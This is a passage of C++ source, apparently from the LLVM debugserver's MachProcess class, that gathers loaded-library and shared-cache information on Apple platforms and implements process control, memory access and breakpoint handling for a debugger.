// segment_sp->AddIntegerItem ("nsects",
// image_infos[i].macho_info.segments[j].nsects);
// segment_sp->AddIntegerItem ("flags",
// image_infos[i].macho_info.segments[j].flags);
segments_sp->AddItem(segment_sp);
}
image_info_dict_sp->AddItem("segments", segments_sp);
image_infos_array_sp->AddItem(image_info_dict_sp);
}
JSONGenerator::DictionarySP reply_sp(new JSONGenerator::Dictionary());
reply_sp->AddItem("images", image_infos_array_sp);
return reply_sp;
}
// Get the shared library information using the old (pre-macOS 10.12, pre-iOS
// 10, pre-tvOS 10, pre-watchOS 3)
// code path. We'll be given the address of an array of structures in the form
// {void* load_addr, void* mod_date, void* pathname}
//
// In macOS 10.12 etc and newer, we'll use SPI calls into dyld to gather this
// information.
JSONGenerator::ObjectSP MachProcess::GetLoadedDynamicLibrariesInfos(
nub_process_t pid, nub_addr_t image_list_address, nub_addr_t image_count) {
JSONGenerator::ObjectSP empty_reply_sp(new JSONGenerator::Dictionary());
int pointer_size = GetInferiorAddrSize(pid);
std::vector<struct binary_image_information> image_infos;
size_t image_infos_size = image_count * 3 * pointer_size;
uint8_t *image_info_buf = (uint8_t *)malloc(image_infos_size);
if (image_info_buf == NULL) {
return empty_reply_sp;
}
if (ReadMemory(image_list_address, image_infos_size, image_info_buf) !=
image_infos_size) {
return empty_reply_sp;
}
/// First the image_infos array with (load addr, pathname, mod date)
/// tuples
for (size_t i = 0; i < image_count; i++) {
struct binary_image_information info;
nub_addr_t pathname_address;
if (pointer_size == 4) {
uint32_t load_address_32;
uint32_t pathname_address_32;
uint32_t mod_date_32;
::memcpy(&load_address_32, image_info_buf + (i * 3 * pointer_size), 4);
::memcpy(&pathname_address_32,
image_info_buf + (i * 3 * pointer_size) + pointer_size, 4);
::memcpy(&mod_date_32,
image_info_buf + (i * 3 * pointer_size) + pointer_size +
pointer_size,
4);
info.load_address = load_address_32;
info.mod_date = mod_date_32;
pathname_address = pathname_address_32;
} else {
uint64_t load_address_64;
uint64_t pathname_address_64;
uint64_t mod_date_64;
::memcpy(&load_address_64, image_info_buf + (i * 3 * pointer_size), 8);
::memcpy(&pathname_address_64,
image_info_buf + (i * 3 * pointer_size) + pointer_size, 8);
::memcpy(&mod_date_64,
image_info_buf + (i * 3 * pointer_size) + pointer_size +
pointer_size,
8);
info.load_address = load_address_64;
info.mod_date = mod_date_64;
pathname_address = pathname_address_64;
}
char strbuf[17];
info.filename = "";
uint64_t pathname_ptr = pathname_address;
bool still_reading = true;
while (still_reading && ReadMemory(pathname_ptr, sizeof(strbuf) - 1,
strbuf) == sizeof(strbuf) - 1) {
strbuf[sizeof(strbuf) - 1] = '\0';
info.filename += strbuf;
pathname_ptr += sizeof(strbuf) - 1;
// Stop if we found nul byte indicating the end of the string
for (size_t i = 0; i < sizeof(strbuf) - 1; i++) {
if (strbuf[i] == '\0') {
still_reading = false;
break;
}
}
}
uuid_clear(info.macho_info.uuid);
image_infos.push_back(info);
}
if (image_infos.size() == 0) {
return empty_reply_sp;
}
free(image_info_buf);
/// Second, read the mach header / load commands for all the dylibs
for (size_t i = 0; i < image_count; i++) {
// The SPI to provide platform is not available on older systems.
uint32_t platform = 0;
if (GetMachOInformationFromMemory(platform, image_infos[i].load_address,
pointer_size,
image_infos[i].macho_info)) {
image_infos[i].is_valid_mach_header = true;
}
}
/// Third, format all of the above in the JSONGenerator object.
return FormatDynamicLibrariesIntoJSON(image_infos);
}
/// From dyld SPI header dyld_process_info.h
typedef void *dyld_process_info;
struct dyld_process_cache_info {
/// UUID of cache used by process.
uuid_t cacheUUID;
/// Load address of dyld shared cache.
uint64_t cacheBaseAddress;
/// Process is running without a dyld cache.
bool noCache;
/// Process is using a private copy of its dyld cache.
bool privateCache;
};
uint32_t MachProcess::GetPlatform() {
if (m_platform == 0)
m_platform = MachProcess::GetProcessPlatformViaDYLDSPI();
return m_platform;
}
uint32_t MachProcess::GetProcessPlatformViaDYLDSPI() {
kern_return_t kern_ret;
uint32_t platform = 0;
if (m_dyld_process_info_create) {
dyld_process_info info =
m_dyld_process_info_create(m_task.TaskPort(), 0, &kern_ret);
if (info) {
if (m_dyld_process_info_get_platform)
platform = m_dyld_process_info_get_platform(info);
m_dyld_process_info_release(info);
}
}
return platform;
}
void MachProcess::GetAllLoadedBinariesViaDYLDSPI(
std::vector<struct binary_image_information> &image_infos) {
kern_return_t kern_ret;
if (m_dyld_process_info_create) {
dyld_process_info info =
m_dyld_process_info_create(m_task.TaskPort(), 0, &kern_ret);
if (info) {
m_dyld_process_info_for_each_image(
info,
^(uint64_t mach_header_addr, const uuid_t uuid, const char *path) {
struct binary_image_information image;
image.filename = path;
uuid_copy(image.macho_info.uuid, uuid);
image.load_address = mach_header_addr;
image_infos.push_back(image);
});
m_dyld_process_info_release(info);
}
}
}
// Fetch information about all shared libraries using the dyld SPIs that exist
// in
// macOS 10.12, iOS 10, tvOS 10, watchOS 3 and newer.
JSONGenerator::ObjectSP
MachProcess::GetAllLoadedLibrariesInfos(nub_process_t pid) {
int pointer_size = GetInferiorAddrSize(pid);
std::vector<struct binary_image_information> image_infos;
GetAllLoadedBinariesViaDYLDSPI(image_infos);
uint32_t platform = GetPlatform();
const size_t image_count = image_infos.size();
for (size_t i = 0; i < image_count; i++) {
if (GetMachOInformationFromMemory(platform, image_infos[i].load_address,
pointer_size,
image_infos[i].macho_info)) {
image_infos[i].is_valid_mach_header = true;
}
}
return FormatDynamicLibrariesIntoJSON(image_infos);
}
// Fetch information about the shared libraries at the given load addresses
// using the
// dyld SPIs that exist in macOS 10.12, iOS 10, tvOS 10, watchOS 3 and newer.
JSONGenerator::ObjectSP MachProcess::GetLibrariesInfoForAddresses(
nub_process_t pid, std::vector<uint64_t> &macho_addresses) {
int pointer_size = GetInferiorAddrSize(pid);
// Collect the list of all binaries that dyld knows about in
// the inferior process.
std::vector<struct binary_image_information> all_image_infos;
GetAllLoadedBinariesViaDYLDSPI(all_image_infos);
uint32_t platform = GetPlatform();
std::vector<struct binary_image_information> image_infos;
const size_t macho_addresses_count = macho_addresses.size();
const size_t all_image_infos_count = all_image_infos.size();
for (size_t i = 0; i < macho_addresses_count; i++) {
bool found_matching_entry = false;
for (size_t j = 0; j < all_image_infos_count; j++) {
if (all_image_infos[j].load_address == macho_addresses[i]) {
image_infos.push_back(all_image_infos[j]);
found_matching_entry = true;
}
}
if (!found_matching_entry) {
// dyld doesn't think there is a binary at this address,
// but maybe there isn't a binary YET - let's look in memory
// for a proper mach-o header etc and return what we can.
// We will have an empty filename for the binary (because dyld
// doesn't know about it yet) but we can read all of the mach-o
// load commands from memory directly.
struct binary_image_information entry;
entry.load_address = macho_addresses[i];
image_infos.push_back(entry);
}
}
const size_t image_infos_count = image_infos.size();
for (size_t i = 0; i < image_infos_count; i++) {
if (GetMachOInformationFromMemory(platform, image_infos[i].load_address,
pointer_size,
image_infos[i].macho_info)) {
image_infos[i].is_valid_mach_header = true;
}
}
return FormatDynamicLibrariesIntoJSON(image_infos);
}
// From dyld's internal podyld_process_info.h:
JSONGenerator::ObjectSP MachProcess::GetSharedCacheInfo(nub_process_t pid) {
JSONGenerator::DictionarySP reply_sp(new JSONGenerator::Dictionary());
kern_return_t kern_ret;
if (m_dyld_process_info_create && m_dyld_process_info_get_cache) {
dyld_process_info info =
m_dyld_process_info_create(m_task.TaskPort(), 0, &kern_ret);
if (info) {
struct dyld_process_cache_info shared_cache_info;
m_dyld_process_info_get_cache(info, &shared_cache_info);
reply_sp->AddIntegerItem("shared_cache_base_address",
shared_cache_info.cacheBaseAddress);
uuid_string_t uuidstr;
uuid_unparse_upper(shared_cache_info.cacheUUID, uuidstr);
reply_sp->AddStringItem("shared_cache_uuid", uuidstr);
reply_sp->AddBooleanItem("no_shared_cache", shared_cache_info.noCache);
reply_sp->AddBooleanItem("shared_cache_private_cache",
shared_cache_info.privateCache);
m_dyld_process_info_release(info);
}
}
return reply_sp;
}
nub_thread_t MachProcess::GetCurrentThread() {
return m_thread_list.CurrentThreadID();
}
nub_thread_t MachProcess::GetCurrentThreadMachPort() {
return m_thread_list.GetMachPortNumberByThreadID(
m_thread_list.CurrentThreadID());
}
nub_thread_t MachProcess::SetCurrentThread(nub_thread_t tid) {
return m_thread_list.SetCurrentThread(tid);
}
bool MachProcess::GetThreadStoppedReason(nub_thread_t tid,
struct DNBThreadStopInfo *stop_info) {
if (m_thread_list.GetThreadStoppedReason(tid, stop_info)) {
if (m_did_exec)
stop_info->reason = eStopTypeExec;
return true;
}
return false;
}
void MachProcess::DumpThreadStoppedReason(nub_thread_t tid) const {
return m_thread_list.DumpThreadStoppedReason(tid);
}
const char *MachProcess::GetThreadInfo(nub_thread_t tid) const {
return m_thread_list.GetThreadInfo(tid);
}
uint32_t MachProcess::GetCPUType() {
if (m_cpu_type == 0 && m_pid != 0)
m_cpu_type = MachProcess::GetCPUTypeForLocalProcess(m_pid);
return m_cpu_type;
}
const DNBRegisterSetInfo *
MachProcess::GetRegisterSetInfo(nub_thread_t tid,
nub_size_t *num_reg_sets) const {
MachThreadSP thread_sp(m_thread_list.GetThreadByID(tid));
if (thread_sp) {
DNBArchProtocol *arch = thread_sp->GetArchProtocol();
if (arch)
return arch->GetRegisterSetInfo(num_reg_sets);
}
*num_reg_sets = 0;
return NULL;
}
bool MachProcess::GetRegisterValue(nub_thread_t tid, uint32_t set, uint32_t reg,
DNBRegisterValue *value) const {
return m_thread_list.GetRegisterValue(tid, set, reg, value);
}
bool MachProcess::SetRegisterValue(nub_thread_t tid, uint32_t set, uint32_t reg,
const DNBRegisterValue *value) const {
return m_thread_list.SetRegisterValue(tid, set, reg, value);
}
void MachProcess::SetState(nub_state_t new_state) {
// If any other threads access this we will need a mutex for it
uint32_t event_mask = 0;
// Scope for mutex locker
{
PTHREAD_MUTEX_LOCKER(locker, m_state_mutex);
const nub_state_t old_state = m_state;
if (old_state == eStateExited) {
DNBLogThreadedIf(LOG_PROCESS, "MachProcess::SetState(%s) ignoring new "
"state since current state is exited",
DNBStateAsString(new_state));
} else if (old_state == new_state) {
DNBLogThreadedIf(
LOG_PROCESS,
"MachProcess::SetState(%s) ignoring redundant state change...",
DNBStateAsString(new_state));
} else {
if (NUB_STATE_IS_STOPPED(new_state))
event_mask = eEventProcessStoppedStateChanged;
else
event_mask = eEventProcessRunningStateChanged;
DNBLogThreadedIf(
LOG_PROCESS, "MachProcess::SetState(%s) upating state (previous "
"state was %s), event_mask = 0x%8.8x",
DNBStateAsString(new_state), DNBStateAsString(old_state), event_mask);
m_state = new_state;
if (new_state == eStateStopped)
m_stop_count++;
}
}
if (event_mask != 0) {
m_events.SetEvents(event_mask);
m_private_events.SetEvents(event_mask);
if (event_mask == eEventProcessStoppedStateChanged)
m_private_events.ResetEvents(eEventProcessRunningStateChanged);
else
m_private_events.ResetEvents(eEventProcessStoppedStateChanged);
// Wait for the event bit to reset if a reset ACK is requested
m_events.WaitForResetAck(event_mask);
}
}
void MachProcess::Clear(bool detaching) {
// Clear any cached thread list while the pid and task are still valid
m_task.Clear();
m_platform = 0;
// Now clear out all member variables
m_pid = INVALID_NUB_PROCESS;
if (!detaching)
CloseChildFileDescriptors();
m_path.clear();
m_args.clear();
SetState(eStateUnloaded);
m_flags = eMachProcessFlagsNone;
m_stop_count = 0;
m_thread_list.Clear();
{
PTHREAD_MUTEX_LOCKER(locker, m_exception_messages_mutex);
m_exception_messages.clear();
}
m_activities.Clear();
StopProfileThread();
}
bool MachProcess::StartSTDIOThread() {
DNBLogThreadedIf(LOG_PROCESS, "MachProcess::%s ( )", __FUNCTION__);
// Create the thread that watches for the child STDIO
return ::pthread_create(&m_stdio_thread, NULL, MachProcess::STDIOThread,
this) == 0;
}
void MachProcess::SetEnableAsyncProfiling(bool enable, uint64_t interval_usec,
DNBProfileDataScanType scan_type) {
m_profile_enabled = enable;
m_profile_interval_usec = static_cast<useconds_t>(interval_usec);
m_profile_scan_type = scan_type;
if (m_profile_enabled && (m_profile_thread == NULL)) {
StartProfileThread();
} else if (!m_profile_enabled && m_profile_thread) {
StopProfileThread();
}
}
void MachProcess::StopProfileThread() {
if (m_profile_thread == NULL)
return;
m_profile_events.SetEvents(eMachProcessProfileCancel);
pthread_join(m_profile_thread, NULL);
m_profile_thread = NULL;
m_profile_events.ResetEvents(eMachProcessProfileCancel);
}
bool MachProcess::StartProfileThread() {
DNBLogThreadedIf(LOG_PROCESS, "MachProcess::%s ( )", __FUNCTION__);
// Create the thread that profiles the inferior and reports back if enabled
return ::pthread_create(&m_profile_thread, NULL, MachProcess::ProfileThread,
this) == 0;
}
nub_addr_t MachProcess::LookupSymbol(const char *name, const char *shlib) {
if (m_name_to_addr_callback != NULL && name && name[0])
return m_name_to_addr_callback(ProcessID(), name, shlib,
m_name_to_addr_baton);
return INVALID_NUB_ADDRESS;
}
bool MachProcess::Resume(const DNBThreadResumeActions &thread_actions) {
DNBLogThreadedIf(LOG_PROCESS, "MachProcess::Resume ()");
nub_state_t state = GetState();
if (CanResume(state)) {
m_thread_actions = thread_actions;
PrivateResume();
return true;
} else if (state == eStateRunning) {
DNBLog("Resume() - task 0x%x is already running, ignoring...",
m_task.TaskPort());
return true;
}
DNBLog("Resume() - task 0x%x has state %s, can't continue...",
m_task.TaskPort(), DNBStateAsString(state));
return false;
}
bool MachProcess::Kill(const struct timespec *timeout_abstime) {
DNBLogThreadedIf(LOG_PROCESS, "MachProcess::Kill ()");
nub_state_t state = DoSIGSTOP(true, false, NULL);
DNBLogThreadedIf(LOG_PROCESS, "MachProcess::Kill() DoSIGSTOP() state = %s",
DNBStateAsString(state));
errno = 0;
DNBLog("Sending ptrace PT_KILL to terminate inferior process pid %d.", m_pid);
::ptrace(PT_KILL, m_pid, 0, 0);
DNBError err;
err.SetErrorToErrno();
if (DNBLogCheckLogBit(LOG_PROCESS) || err.Fail()) {
err.LogThreaded("MachProcess::Kill() DoSIGSTOP() ::ptrace "
"(PT_KILL, pid=%u, 0, 0) => 0x%8.8x (%s)",
m_pid, err.Status(), err.AsString());
}
m_thread_actions = DNBThreadResumeActions(eStateRunning, 0);
PrivateResume();
// Try and reap the process without touching our m_events since
// we want the code above this to still get the eStateExited event
const uint32_t reap_timeout_usec =
1000000; // Wait 1 second and try to reap the process
const uint32_t reap_interval_usec = 10000; //
uint32_t reap_time_elapsed;
for (reap_time_elapsed = 0; reap_time_elapsed < reap_timeout_usec;
reap_time_elapsed += reap_interval_usec) {
if (GetState() == eStateExited)
break;
usleep(reap_interval_usec);
}
DNBLog("Waited %u ms for process to be reaped (state = %s)",
reap_time_elapsed / 1000, DNBStateAsString(GetState()));
return true;
}
bool MachProcess::Interrupt() {
nub_state_t state = GetState();
if (IsRunning(state)) {
if (m_sent_interrupt_signo == 0) {
m_sent_interrupt_signo = SIGSTOP;
if (Signal(m_sent_interrupt_signo)) {
DNBLogThreadedIf(
LOG_PROCESS,
"MachProcess::Interrupt() - sent %i signal to interrupt process",
m_sent_interrupt_signo);
return true;
} else {
m_sent_interrupt_signo = 0;
DNBLogThreadedIf(LOG_PROCESS, "MachProcess::Interrupt() - failed to "
"send %i signal to interrupt process",
m_sent_interrupt_signo);
}
} else {
DNBLogThreadedIf(LOG_PROCESS, "MachProcess::Interrupt() - previously "
"sent an interrupt signal %i that hasn't "
"been received yet, interrupt aborted",
m_sent_interrupt_signo);
}
} else {
DNBLogThreadedIf(LOG_PROCESS, "MachProcess::Interrupt() - process already "
"stopped, no interrupt sent");
}
return false;
}
bool MachProcess::Signal(int signal, const struct timespec *timeout_abstime) {
DNBLogThreadedIf(LOG_PROCESS,
"MachProcess::Signal (signal = %d, timeout = %p)", signal,
static_cast<const void *>(timeout_abstime));
nub_state_t state = GetState();
if (::kill(ProcessID(), signal) == 0) {
// If we were running and we have a timeout, wait for the signal to stop
if (IsRunning(state) && timeout_abstime) {
DNBLogThreadedIf(LOG_PROCESS,
"MachProcess::Signal (signal = %d, timeout "
"= %p) waiting for signal to stop "
"process...",
signal, static_cast<const void *>(timeout_abstime));
m_private_events.WaitForSetEvents(eEventProcessStoppedStateChanged,
timeout_abstime);
state = GetState();
DNBLogThreadedIf(
LOG_PROCESS,
"MachProcess::Signal (signal = %d, timeout = %p) state = %s", signal,
static_cast<const void *>(timeout_abstime), DNBStateAsString(state));
return !IsRunning(state);
}
DNBLogThreadedIf(
LOG_PROCESS,
"MachProcess::Signal (signal = %d, timeout = %p) not waiting...",
signal, static_cast<const void *>(timeout_abstime));
return true;
}
DNBError err(errno, DNBError::POSIX);
err.LogThreadedIfError("kill (pid = %d, signo = %i)", ProcessID(), signal);
return false;
}
bool MachProcess::SendEvent(const char *event, DNBError &send_err) {
DNBLogThreadedIf(LOG_PROCESS,
"MachProcess::SendEvent (event = %s) to pid: %d", event,
m_pid);
if (m_pid == INVALID_NUB_PROCESS)
return false;
// FIXME: Shouldn't we use the launch flavor we were started with?
#if defined(WITH_FBS) || defined(WITH_BKS)
return BoardServiceSendEvent(event, send_err);
#endif
return true;
}
nub_state_t MachProcess::DoSIGSTOP(bool clear_bps_and_wps, bool allow_running,
uint32_t *thread_idx_ptr) {
nub_state_t state = GetState();
DNBLogThreadedIf(LOG_PROCESS, "MachProcess::DoSIGSTOP() state = %s",
DNBStateAsString(state));
if (!IsRunning(state)) {
if (clear_bps_and_wps) {
DisableAllBreakpoints(true);
DisableAllWatchpoints(true);
clear_bps_and_wps = false;
}
// If we already have a thread stopped due to a SIGSTOP, we don't have
// to do anything...
uint32_t thread_idx =
m_thread_list.GetThreadIndexForThreadStoppedWithSignal(SIGSTOP);
if (thread_idx_ptr)
*thread_idx_ptr = thread_idx;
if (thread_idx != UINT32_MAX)
return GetState();
// No threads were stopped with a SIGSTOP, we need to run and halt the
// process with a signal
DNBLogThreadedIf(LOG_PROCESS,
"MachProcess::DoSIGSTOP() state = %s -- resuming process",
DNBStateAsString(state));
if (allow_running)
m_thread_actions = DNBThreadResumeActions(eStateRunning, 0);
else
m_thread_actions = DNBThreadResumeActions(eStateSuspended, 0);
PrivateResume();
// Reset the event that says we were indeed running
m_events.ResetEvents(eEventProcessRunningStateChanged);
state = GetState();
}
// We need to be stopped in order to be able to detach, so we need
// to send ourselves a SIGSTOP
DNBLogThreadedIf(LOG_PROCESS,
"MachProcess::DoSIGSTOP() state = %s -- sending SIGSTOP",
DNBStateAsString(state));
struct timespec sigstop_timeout;
DNBTimer::OffsetTimeOfDay(&sigstop_timeout, 2, 0);
Signal(SIGSTOP, &sigstop_timeout);
if (clear_bps_and_wps) {
DisableAllBreakpoints(true);
DisableAllWatchpoints(true);
// clear_bps_and_wps = false;
}
uint32_t thread_idx =
m_thread_list.GetThreadIndexForThreadStoppedWithSignal(SIGSTOP);
if (thread_idx_ptr)
*thread_idx_ptr = thread_idx;
return GetState();
}
bool MachProcess::Detach() {
DNBLogThreadedIf(LOG_PROCESS, "MachProcess::Detach()");
uint32_t thread_idx = UINT32_MAX;
nub_state_t state = DoSIGSTOP(true, true, &thread_idx);
DNBLogThreadedIf(LOG_PROCESS, "MachProcess::Detach() DoSIGSTOP() returned %s",
DNBStateAsString(state));
{
m_thread_actions.Clear();
m_activities.Clear();
DNBThreadResumeAction thread_action;
thread_action.tid = m_thread_list.ThreadIDAtIndex(thread_idx);
thread_action.state = eStateRunning;
thread_action.signal = -1;
thread_action.addr = INVALID_NUB_ADDRESS;
m_thread_actions.Append(thread_action);
m_thread_actions.SetDefaultThreadActionIfNeeded(eStateRunning, 0);
PTHREAD_MUTEX_LOCKER(locker, m_exception_messages_mutex);
ReplyToAllExceptions();
}
m_task.ShutDownExcecptionThread();
// Detach from our process
errno = 0;
nub_process_t pid = m_pid;
int ret = ::ptrace(PT_DETACH, pid, (caddr_t)1, 0);
DNBError err(errno, DNBError::POSIX);
if (DNBLogCheckLogBit(LOG_PROCESS) || err.Fail() || (ret != 0))
err.LogThreaded("::ptrace (PT_DETACH, %u, (caddr_t)1, 0)", pid);
// Resume our task
m_task.Resume();
// NULL our task out as we have already restored all exception ports
m_task.Clear();
m_platform = 0;
// Clear out any notion of the process we once were
const bool detaching = true;
Clear(detaching);
SetState(eStateDetached);
return true;
}
//your_sha256_hash------
// ReadMemory from the MachProcess level will always remove any software
// breakpoints from the memory buffer before returning. If you wish to
// read memory and see those traps, read from the MachTask
// (m_task.ReadMemory()) as that version will give you what is actually
// in inferior memory.
//your_sha256_hash------
nub_size_t MachProcess::ReadMemory(nub_addr_t addr, nub_size_t size,
void *buf) {
// We need to remove any current software traps (enabled software
// breakpoints) that we may have placed in our tasks memory.
// First just read the memory as is
nub_size_t bytes_read = m_task.ReadMemory(addr, size, buf);
// Then place any opcodes that fall into this range back into the buffer
// before we return this to callers.
if (bytes_read > 0)
m_breakpoints.RemoveTrapsFromBuffer(addr, bytes_read, buf);
return bytes_read;
}
//your_sha256_hash------
// WriteMemory from the MachProcess level will always write memory around
// any software breakpoints. Any software breakpoints will have their
// opcodes modified if they are enabled. Any memory that doesn't overlap
// with software breakpoints will be written to. If you wish to write to
// inferior memory without this interference, then write to the MachTask
// (m_task.WriteMemory()) as that version will always modify inferior
// memory.
//your_sha256_hash------
nub_size_t MachProcess::WriteMemory(nub_addr_t addr, nub_size_t size,
const void *buf) {
// We need to write any data that would go where any current software traps
// (enabled software breakpoints) any software traps (breakpoints) that we
// may have placed in our tasks memory.
std::vector<DNBBreakpoint *> bps;
const size_t num_bps =
m_breakpoints.FindBreakpointsThatOverlapRange(addr, size, bps);
if (num_bps == 0)
return m_task.WriteMemory(addr, size, buf);
nub_size_t bytes_written = 0;
nub_addr_t intersect_addr;
nub_size_t intersect_size;
nub_size_t opcode_offset;
const uint8_t *ubuf = (const uint8_t *)buf;
for (size_t i = 0; i < num_bps; ++i) {
DNBBreakpoint *bp = bps[i];
const bool intersects = bp->IntersectsRange(
addr, size, &intersect_addr, &intersect_size, &opcode_offset);
UNUSED_IF_ASSERT_DISABLED(intersects);
assert(intersects);
assert(addr <= intersect_addr && intersect_addr < addr + size);
assert(addr < intersect_addr + intersect_size &&
intersect_addr + intersect_size <= addr + size);
assert(opcode_offset + intersect_size <= bp->ByteSize());
// Check for bytes before this breakpoint
const nub_addr_t curr_addr = addr + bytes_written;
if (intersect_addr > curr_addr) {
// There are some bytes before this breakpoint that we need to
// just write to memory
nub_size_t curr_size = intersect_addr - curr_addr;
nub_size_t curr_bytes_written =
m_task.WriteMemory(curr_addr, curr_size, ubuf + bytes_written);
bytes_written += curr_bytes_written;
if (curr_bytes_written != curr_size) {
// We weren't able to write all of the requested bytes, we
// are done looping and will return the number of bytes that
// we have written so far.
break;
}
}
// Now write any bytes that would cover up any software breakpoints
// directly into the breakpoint opcode buffer
::memcpy(bp->SavedOpcodeBytes() + opcode_offset, ubuf + bytes_written,
intersect_size);
bytes_written += intersect_size;
}
// Write any remaining bytes after the last breakpoint if we have any left
if (bytes_written < size)
bytes_written += m_task.WriteMemory(
addr + bytes_written, size - bytes_written, ubuf + bytes_written);
return bytes_written;
}
void MachProcess::ReplyToAllExceptions() {
PTHREAD_MUTEX_LOCKER(locker, m_exception_messages_mutex);
if (!m_exception_messages.empty()) {
MachException::Message::iterator pos;
MachException::Message::iterator begin = m_exception_messages.begin();
MachException::Message::iterator end = m_exception_messages.end();
for (pos = begin; pos != end; ++pos) {
DNBLogThreadedIf(LOG_EXCEPTIONS, "Replying to exception %u...",
(uint32_t)std::distance(begin, pos));
int thread_reply_signal = 0;
nub_thread_t tid =
m_thread_list.GetThreadIDByMachPortNumber(pos->state.thread_port);
const DNBThreadResumeAction *action = NULL;
if (tid != INVALID_NUB_THREAD) {
action = m_thread_actions.GetActionForThread(tid, false);
}
if (action) {
thread_reply_signal = action->signal;
if (thread_reply_signal)
m_thread_actions.SetSignalHandledForThread(tid);
}
DNBError err(pos->Reply(this, thread_reply_signal));
if (DNBLogCheckLogBit(LOG_EXCEPTIONS))
err.LogThreadedIfError("Error replying to exception");
}
// Erase all exception message as we should have used and replied
// to them all already.
m_exception_messages.clear();
}
}
void MachProcess::PrivateResume() {
PTHREAD_MUTEX_LOCKER(locker, m_exception_messages_mutex);
m_auto_resume_signo = m_sent_interrupt_signo;
if (m_auto_resume_signo)
DNBLogThreadedIf(LOG_PROCESS, "MachProcess::PrivateResume() - task 0x%x "
"resuming (with unhandled interrupt signal "
"%i)...",
m_task.TaskPort(), m_auto_resume_signo);
else
DNBLogThreadedIf(LOG_PROCESS,
"MachProcess::PrivateResume() - task 0x%x resuming...",
m_task.TaskPort());
ReplyToAllExceptions();
// bool stepOverBreakInstruction = step;
// Let the thread prepare to resume and see if any threads want us to
// step over a breakpoint instruction (ProcessWillResume will modify
// the value of stepOverBreakInstruction).
m_thread_list.ProcessWillResume(this, m_thread_actions);
// Set our state accordingly
if (m_thread_actions.NumActionsWithState(eStateStepping))
SetState(eStateStepping);
else
SetState(eStateRunning);
// Now resume our task.
m_task.Resume();
}
DNBBreakpoint *MachProcess::CreateBreakpoint(nub_addr_t addr, nub_size_t length,
bool hardware) {
DNBLogThreadedIf(LOG_BREAKPOINTS, "MachProcess::CreateBreakpoint ( addr = "
"0x%8.8llx, length = %llu, hardware = %i)",
(uint64_t)addr, (uint64_t)length, hardware);
DNBBreakpoint *bp = m_breakpoints.FindByAddress(addr);
if (bp)
bp->Retain();
else
bp = m_breakpoints.Add(addr, length, hardware);
if (EnableBreakpoint(addr)) {
DNBLogThreadedIf(LOG_BREAKPOINTS,
"MachProcess::CreateBreakpoint ( addr = "
"0x%8.8llx, length = %llu) => %p",
(uint64_t)addr, (uint64_t)length, static_cast<void *>(bp));
return bp;
} else if (bp->Release() == 0) {
m_breakpoints.Remove(addr);
}
// We failed to enable the breakpoint
return NULL;
}
DNBBreakpoint *MachProcess::CreateWatchpoint(nub_addr_t addr, nub_size_t length,
uint32_t watch_flags,
bool hardware) {
DNBLogThreadedIf(LOG_WATCHPOINTS, "MachProcess::CreateWatchpoint ( addr = "
"0x%8.8llx, length = %llu, flags = "
"0x%8.8x, hardware = %i)",
(uint64_t)addr, (uint64_t)length, watch_flags, hardware);
DNBBreakpoint *wp = m_watchpoints.FindByAddress(addr);
// since the Z packets only send an address, we can only have one watchpoint
// at
// an address. If there is already one, we must refuse to create another
// watchpoint
if (wp)
return NULL;
wp = m_watchpoints.Add(addr, length, hardware);
wp->SetIsWatchpoint(watch_flags);
if (EnableWatchpoint(addr)) {
DNBLogThreadedIf(LOG_WATCHPOINTS,
"MachProcess::CreateWatchpoint ( addr = "
"0x%8.8llx, length = %llu) => %p",
(uint64_t)addr, (uint64_t)length, static_cast<void *>(wp));
return wp;
} else {
DNBLogThreadedIf(LOG_WATCHPOINTS, "MachProcess::CreateWatchpoint ( addr = "
"0x%8.8llx, length = %llu) => FAILED",
(uint64_t)addr, (uint64_t)length);
m_watchpoints.Remove(addr);
}
// We failed to enable the watchpoint
return NULL;
}
void MachProcess::DisableAllBreakpoints(bool remove) {
DNBLogThreadedIf(LOG_BREAKPOINTS, "MachProcess::%s (remove = %d )",
__FUNCTION__, remove);
m_breakpoints.DisableAllBreakpoints(this);
if (remove)
m_breakpoints.RemoveDisabled();
}
void MachProcess::DisableAllWatchpoints(bool remove) {
DNBLogThreadedIf(LOG_WATCHPOINTS, "MachProcess::%s (remove = %d )",
__FUNCTION__, remove);
m_watchpoints.DisableAllWatchpoints(this);
if (remove)
m_watchpoints.RemoveDisabled();
}
bool MachProcess::DisableBreakpoint(nub_addr_t addr, bool remove) {
DNBBreakpoint *bp = m_breakpoints.FindByAddress(addr);
if (bp) {
// After "exec" we might end up with a bunch of breakpoints that were
// disabled
// manually, just ignore them
if (!bp->IsEnabled()) {
// Breakpoint might have been disabled by an exec
if (remove && bp->Release() == 0) {
m_thread_list.NotifyBreakpointChanged(bp);
m_breakpoints.Remove(addr);
}
return true;
}
// We have multiple references to this breakpoint, decrement the ref count
// and if it isn't zero, then return true;
if (remove && bp->Release() > 0)
return true;
DNBLogThreadedIf(
LOG_BREAKPOINTS | LOG_VERBOSE,
"MachProcess::DisableBreakpoint ( addr = 0x%8.8llx, remove = %d )",
(uint64_t)addr, remove);
if (bp->IsHardware()) {
bool hw_disable_result = m_thread_list.DisableHardwareBreakpoint(bp);
if (hw_disable_result) {
bp->SetEnabled(false);
// Let the thread list know that a breakpoint has been modified
if (remove) {
m_thread_list.NotifyBreakpointChanged(bp);
m_breakpoints.Remove(addr);
}
DNBLogThreadedIf(LOG_BREAKPOINTS, "MachProcess::DisableBreakpoint ( "
"addr = 0x%8.8llx, remove = %d ) "
"(hardware) => success",
(uint64_t)addr, remove);
return true;
}
return false;
}
const nub_size_t break_op_size = bp->ByteSize();
assert(break_op_size > 0);
const uint8_t *const break_op =
DNBArchProtocol::GetBreakpointOpcode(bp->ByteSize());
if (break_op_size > 0) {
// Clear a software breakpoint instruction
uint8_t curr_break_op[break_op_size];
bool break_op_found = false;
// Read the breakpoint opcode
if (m_task.ReadMemory(addr, break_op_size, curr_break_op) ==
break_op_size) {
bool verify = false;
if (bp->IsEnabled()) {
// Make sure a breakpoint opcode exists at this address
if (memcmp(curr_break_op, break_op, break_op_size) == 0) {
break_op_found = true;
// We found a valid breakpoint opcode at this address, now restore
// the saved opcode.
if (m_task.WriteMemory(addr, break_op_size,
bp->SavedOpcodeBytes()) == break_op_size) {
verify = true;
} else {
DNBLogError("MachProcess::DisableBreakpoint ( addr = 0x%8.8llx, "
"remove = %d ) memory write failed when restoring "
"original opcode",
(uint64_t)addr, remove);
}
} else {
DNBLogWarning("MachProcess::DisableBreakpoint ( addr = 0x%8.8llx, "
"remove = %d ) expected a breakpoint opcode but "
"didn't find one.",
(uint64_t)addr, remove);
// Set verify to true and so we can check if the original opcode has
// already been restored
verify = true;
}
} else {
